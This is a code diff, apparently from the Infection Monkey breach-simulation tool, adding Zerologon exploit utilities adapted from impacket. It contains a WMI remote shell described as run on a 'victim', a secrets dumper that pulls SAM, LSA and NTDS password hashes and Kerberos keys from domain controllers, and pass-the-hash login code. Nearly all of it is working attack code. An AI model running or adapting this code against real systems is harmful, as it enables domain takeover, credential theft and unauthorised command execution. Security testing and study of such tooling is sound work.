||||
CODEC = sys.stdout.encoding
|
||||
|
||||
def __init__(self, share, win32Process, smbConnection, outputFilename):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__output = '\\' + outputFilename
|
||||
self.__outputBuffer = str('')
|
||||
self.__shell = 'cmd.exe /Q /c '
|
||||
self.__win32Process = win32Process
|
||||
self.__transferClient = smbConnection
|
||||
self.__pwd = str('C:\\')
|
||||
self.__noOutput = False
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
self.__transferClient.setTimeout(100000)
|
||||
self.do_cd('\\')
|
||||
else:
|
||||
self.__noOutput = True
|
||||
|
||||
def do_get(self, src_path):
|
||||
try:
|
||||
import ntpath
|
||||
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||
drive, tail = ntpath.splitdrive(newPath)
|
||||
filename = ntpath.basename(tail)
|
||||
local_file_path = os.path.join(os.path.expanduser('~'), 'monkey-'+filename)
|
||||
fh = open(local_file_path, 'wb')
|
||||
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
||||
fh.close()
|
||||
except Exception as e:
|
||||
LOG.error(str(e))
|
||||
if os.path.exists(local_file_path):
|
||||
os.remove(local_file_path)
|
||||
|
||||
def do_exit(self, s):
|
||||
return True
|
||||
|
||||
def do_cd(self, s):
|
||||
self.execute_remote('cd ' + s)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = (self.__pwd + '>')
|
||||
self.__outputBuffer = ''
|
||||
|
||||
def default(self, line):
|
||||
# Let's try to guess if the user is trying to change drive.
|
||||
if len(line) == 2 and line[1] == ':':
|
||||
# Execute the command and see if the drive is valid.
|
||||
self.execute_remote(line)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
# Something went wrong.
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
# Drive valid, now we should get the current path.
|
||||
self.__pwd = line
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = (self.__pwd + '>')
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
if line != '':
|
||||
self.send_data(line)
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
try:
|
||||
self.__outputBuffer += data.decode(self.CODEC)
|
||||
except UnicodeDecodeError:
|
||||
LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
||||
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
|
||||
'again with -codec and the corresponding codec')
|
||||
self.__outputBuffer += data.decode(self.CODEC, errors='replace')
|
||||
|
||||
if self.__noOutput is True:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
|
||||
# Output not finished, let's wait.
|
||||
time.sleep(1)
|
||||
pass
|
||||
elif str(e).find('Broken') >= 0:
|
||||
# The SMB Connection might have timed out, let's try reconnecting.
|
||||
LOG.debug('Connection broken, trying to recreate it')
|
||||
self.__transferClient.reconnect()
|
||||
return self.get_output()
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + data
|
||||
if self.__noOutput is False:
|
||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ''
|
||||
|
|
|
@ -0,0 +1,193 @@
|
|||
import io
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
import traceback
|
||||
|
||||
from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
||||
NTDSHashes, RemoteOperations,
|
||||
SAMHashes)
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||
# Used to get Administrator and original DC passwords' hashes
|
||||
class DumpSecrets:
|
||||
def __init__(self, remote_name, username='', password='', domain='', options=None):
|
||||
self.__use_VSS_method = options.use_vss
|
||||
self.__remote_name = remote_name
|
||||
self.__remote_host = options.target_ip
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__smb_connection = None
|
||||
self.__remote_ops = None
|
||||
self.__SAM_hashes = None
|
||||
self.__NTDS_hashes = None
|
||||
self.__LSA_secrets = None
|
||||
self.__system_hive = options.system
|
||||
self.__bootkey = options.bootkey
|
||||
self.__security_hive = options.security
|
||||
self.__sam_hive = options.sam
|
||||
self.__ntds_file = options.ntds
|
||||
self.__no_lmhash = options.no_lmhash
|
||||
self.__is_remote = options.is_remote
|
||||
self.__do_kerberos = options.k
|
||||
self.__just_DC = options.just_dc
|
||||
self.__just_DC_NTLM = options.just_dc_ntlm
|
||||
self.__can_process_SAM_LSA = options.can_process_SAM_LSA
|
||||
self.__kdc_host = options.dc_ip
|
||||
self.__options = options
|
||||
|
||||
if options.hashes is not None:
|
||||
self.__lmhash, self.__nthash = options.hashes.split(':')
|
||||
|
||||
def connect(self):
|
||||
self.__smb_connection = SMBConnection(
|
||||
self.__remote_name, self.__remote_host)
|
||||
self.__smb_connection.login(
|
||||
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
||||
def dump(self):
|
||||
_orig_stdout = sys.stdout
|
||||
_new_stdout = io.StringIO()
|
||||
sys.stdout = _new_stdout
|
||||
dumped_secrets = ''
|
||||
|
||||
try:
|
||||
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
||||
self.__is_remote = False
|
||||
self.__use_VSS_method = True
|
||||
if self.__system_hive:
|
||||
local_operations = LocalOperations(self.__system_hive)
|
||||
bootkey = local_operations.getBootKey()
|
||||
if self.__ntds_file is not None:
|
||||
# Let's grab target's configuration about LM Hashes storage.
|
||||
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
||||
else:
|
||||
import binascii
|
||||
bootkey = binascii.unhexlify(self.__bootkey)
|
||||
|
||||
else:
|
||||
self.__is_remote = True
|
||||
bootkey = None
|
||||
try:
|
||||
try:
|
||||
self.connect()
|
||||
except Exception as e:
|
||||
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
|
||||
# SMBConnection failed. That might be because there was no way to log into the
|
||||
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||
# will work
|
||||
LOG.debug(
|
||||
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
||||
else:
|
||||
raise
|
||||
|
||||
self.__remote_ops = RemoteOperations(
|
||||
self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
||||
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
||||
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
||||
self.__remote_ops.enableRegistry()
|
||||
bootkey = self.__remote_ops.getBootKey()
|
||||
# Let's check whether target system stores LM Hashes.
|
||||
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
||||
except Exception as e:
|
||||
self.__can_process_SAM_LSA = False
|
||||
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
||||
and self.__do_kerberos is True:
|
||||
# Giving some hints here when SPN target name validation is set to something different to Off.
|
||||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
||||
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
||||
'Try -just-dc-user')
|
||||
else:
|
||||
LOG.error('RemoteOperations failed: %s' % str(e))
|
||||
|
||||
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
SAM_file_name = self.__remote_ops.saveSAM()
|
||||
else:
|
||||
SAM_file_name = self.__sam_hive
|
||||
|
||||
self.__SAM_hashes = SAMHashes(
|
||||
SAM_file_name, bootkey, isRemote=self.__is_remote)
|
||||
self.__SAM_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.error('SAM hashes extraction failed: %s' % str(e))
|
||||
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
SECURITY_file_name = self.__remote_ops.saveSECURITY()
|
||||
else:
|
||||
SECURITY_file_name = self.__security_hive
|
||||
|
||||
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
|
||||
isRemote=self.__is_remote)
|
||||
self.__LSA_secrets.dumpCachedHashes()
|
||||
self.__LSA_secrets.dumpSecrets()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
||||
|
||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
||||
if self.__is_remote is True:
|
||||
if self.__use_VSS_method and self.__remote_ops is not None:
|
||||
NTDS_file_name = self.__remote_ops.saveNTDS()
|
||||
else:
|
||||
NTDS_file_name = None
|
||||
else:
|
||||
NTDS_file_name = self.__ntds_file
|
||||
|
||||
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
|
||||
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
||||
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
||||
)
|
||||
try:
|
||||
self.__NTDS_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||
# We don't store the resume file if this error happened, since this error is related to lack
|
||||
# of enough privileges to access DRSUAPI.
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
LOG.error(e)
|
||||
if self.__use_VSS_method is False:
|
||||
LOG.error(
|
||||
'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||
self.cleanup()
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error(e)
|
||||
if self.__NTDS_hashes is not None:
|
||||
if isinstance(e, KeyboardInterrupt):
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
try:
|
||||
self.cleanup()
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
sys.stdout = _orig_stdout
|
||||
_new_stdout.seek(0)
|
||||
dumped_secrets = _new_stdout.read() # includes hashes and kerberos keys
|
||||
return dumped_secrets
|
||||
|
||||
def cleanup(self):
|
||||
LOG.debug('Cleaning up...')
|
||||
if self.__remote_ops:
|
||||
self.__remote_ops.finish()
|
||||
if self.__SAM_hashes:
|
||||
self.__SAM_hashes.finish()
|
||||
if self.__LSA_secrets:
|
||||
self.__LSA_secrets.finish()
|
||||
if self.__NTDS_hashes:
|
||||
self.__NTDS_hashes.finish()
|
|
@ -0,0 +1,38 @@
|
|||
from dataclasses import dataclass
|
||||
|
||||
|
||||
@dataclass()
|
||||
class OptionsForSecretsdump:
|
||||
bootkey = None
|
||||
can_process_SAM_LSA = True
|
||||
dc_ip = None
|
||||
debug = False
|
||||
exec_method = 'smbexec'
|
||||
hashes = None
|
||||
is_remote = True
|
||||
just_dc = True
|
||||
just_dc_ntlm = False
|
||||
k = False
|
||||
keytab = None
|
||||
no_lmhash = True
|
||||
no_pass = True
|
||||
ntds = None
|
||||
sam = None
|
||||
security = None
|
||||
system = None
|
||||
target = None
|
||||
target_ip = None
|
||||
ts = False
|
||||
use_vss = False
|
||||
|
||||
def __init__(self, dc_ip=None, just_dc=True, sam=None, security=None, system=None, target=None, target_ip=None):
|
||||
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py
|
||||
self.dc_ip = dc_ip
|
||||
# just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py
|
||||
self.just_dc = just_dc
|
||||
self.sam = sam
|
||||
self.security = security
|
||||
self.system = system
|
||||
# target and target_ip are assigned in get_admin_pwd_hashes() in ../zerologon.py
|
||||
self.target = target
|
||||
self.target_ip = target_ip
|
|
@ -0,0 +1,127 @@
|
|||
import cmd
|
||||
import logging
|
||||
import ntpath
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
# Used to start remote shell on victim
|
||||
class RemoteShell(cmd.Cmd):
|
||||
CODEC = sys.stdout.encoding
|
||||
|
||||
def __init__(self, share, win32Process, smbConnection, outputFilename):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__output = '\\' + outputFilename
|
||||
self.__outputBuffer = str('')
|
||||
self.__shell = 'cmd.exe /Q /c '
|
||||
self.__win32Process = win32Process
|
||||
self.__transferClient = smbConnection
|
||||
self.__pwd = str('C:\\')
|
||||
self.__noOutput = False
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
self.__transferClient.setTimeout(100000)
|
||||
self.do_cd('\\')
|
||||
else:
|
||||
self.__noOutput = True
|
||||
|
||||
def do_get(self, src_path):
|
||||
try:
|
||||
import ntpath
|
||||
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||
drive, tail = ntpath.splitdrive(newPath)
|
||||
filename = ntpath.basename(tail)
|
||||
local_file_path = os.path.join(
|
||||
os.path.expanduser('~'), 'monkey-'+filename)
|
||||
fh = open(local_file_path, 'wb')
|
||||
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
||||
fh.close()
|
||||
except Exception as e:
|
||||
LOG.error(str(e))
|
||||
if os.path.exists(local_file_path):
|
||||
os.remove(local_file_path)
|
||||
|
||||
def do_exit(self, s):
|
||||
return True
|
||||
|
||||
def do_cd(self, s):
|
||||
self.execute_remote('cd ' + s)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = (self.__pwd + '>')
|
||||
self.__outputBuffer = ''
|
||||
|
||||
def default(self, line):
|
||||
# Let's try to guess if the user is trying to change drive.
|
||||
if len(line) == 2 and line[1] == ':':
|
||||
# Execute the command and see if the drive is valid.
|
||||
self.execute_remote(line)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
# Something went wrong.
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
# Drive valid, now we should get the current path.
|
||||
self.__pwd = line
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = (self.__pwd + '>')
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
if line != '':
|
||||
self.send_data(line)
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
try:
|
||||
self.__outputBuffer += data.decode(self.CODEC)
|
||||
except UnicodeDecodeError:
|
||||
LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
||||
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
|
||||
'again with -codec and the corresponding codec')
|
||||
self.__outputBuffer += data.decode(self.CODEC,
|
||||
errors='replace')
|
||||
|
||||
if self.__noOutput is True:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.__transferClient.getFile(
|
||||
self.__share, self.__output, output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
|
||||
# Output not finished, let's wait.
|
||||
time.sleep(1)
|
||||
elif str(e).find('Broken') >= 0:
|
||||
# The SMB Connection might have timed out, let's try reconnecting.
|
||||
LOG.debug('Connection broken, trying to recreate it')
|
||||
self.__transferClient.reconnect()
|
||||
return self.get_output()
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + data
|
||||
if self.__noOutput is False:
|
||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ''
|
|
@ -0,0 +1,68 @@
|
|||
import logging
|
||||
import time
|
||||
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
# Used to get HKLM keys for restoring original DC password
|
||||
class Wmiexec:
|
||||
OUTPUT_FILENAME = '__' + str(time.time())
|
||||
|
||||
def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'):
|
||||
self.__ip = ip
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
self.__share = share
|
||||
self.shell = None
|
||||
|
||||
def connect(self):
|
||||
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||
self.smbConnection.login(user=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash)
|
||||
|
||||
self.dcom = DCOMConnection(target=self.__ip,
|
||||
username=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = self.dcom.CoCreateInstanceEx(
|
||||
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
self.iWbemServices = iWbemLevel1Login.NTLMLogin(
|
||||
'//./root/cimv2', NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.error(str(e))
|
||||
self.smbConnection.logoff()
|
||||
self.dcom.disconnect()
|
||||
|
||||
def get_remote_shell(self):
|
||||
self.connect()
|
||||
win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
|
||||
self.shell = RemoteShell(
|
||||
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME)
|
||||
return self.shell
|
||||
|
||||
def close(self):
|
||||
self.smbConnection.close()
|
||||
self.smbConnection = None
|
||||
self.dcom.disconnect()
|
||||
self.dcom = None
|
|
@ -208,7 +208,7 @@ class InfectionMonkey(object):
|
|||
if self.try_exploiting(machine, exploiter):
|
||||
host_exploited = True
|
||||
VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send()
|
||||
if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET:
|
||||
if exploiter.RUNS_AGENT_ON_SUCCESS:
|
||||
break # if adding machine to exploited, won't try other exploits on it
|
||||
if not host_exploited:
|
||||
self._fail_exploitation_machines.add(machine)
|
||||
|
@ -352,14 +352,14 @@ class InfectionMonkey(object):
|
|||
try:
|
||||
result = exploiter.exploit_host()
|
||||
if result:
|
||||
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
|
||||
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
||||
return True
|
||||
else:
|
||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||
except ExploitingVulnerableMachineError as exc:
|
||||
LOG.error("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
|
||||
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
||||
return True
|
||||
except FailedExploitationError as e:
|
||||
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
|
||||
|
@ -370,13 +370,13 @@ class InfectionMonkey(object):
|
|||
exploiter.send_exploit_telemetry(result)
|
||||
return False
|
||||
|
||||
def successfully_exploited(self, machine, exploiter, should_add_machine_to_exploited_set=True):
|
||||
def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True):
|
||||
"""
|
||||
Workflow of registering successfully exploited machine
|
||||
:param machine: machine that was exploited
|
||||
:param exploiter: exploiter that succeeded
|
||||
"""
|
||||
if should_add_machine_to_exploited_set:
|
||||
if RUNS_AGENT_ON_SUCCESS:
|
||||
self._exploited_machines.add(machine)
|
||||
|
||||
LOG.info("Successfully propagated to %s using %s",
|
||||
|
|
|
@ -214,7 +214,7 @@ class ReportService:
|
|||
creds = []
|
||||
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
||||
if len(monkey_creds) == 0:
|
||||
return
|
||||
return []
|
||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||
for user in monkey_creds:
|
||||
for pass_type in PASS_TYPE_DICT:
|
||||
|
|
Loading…
Reference in New Issue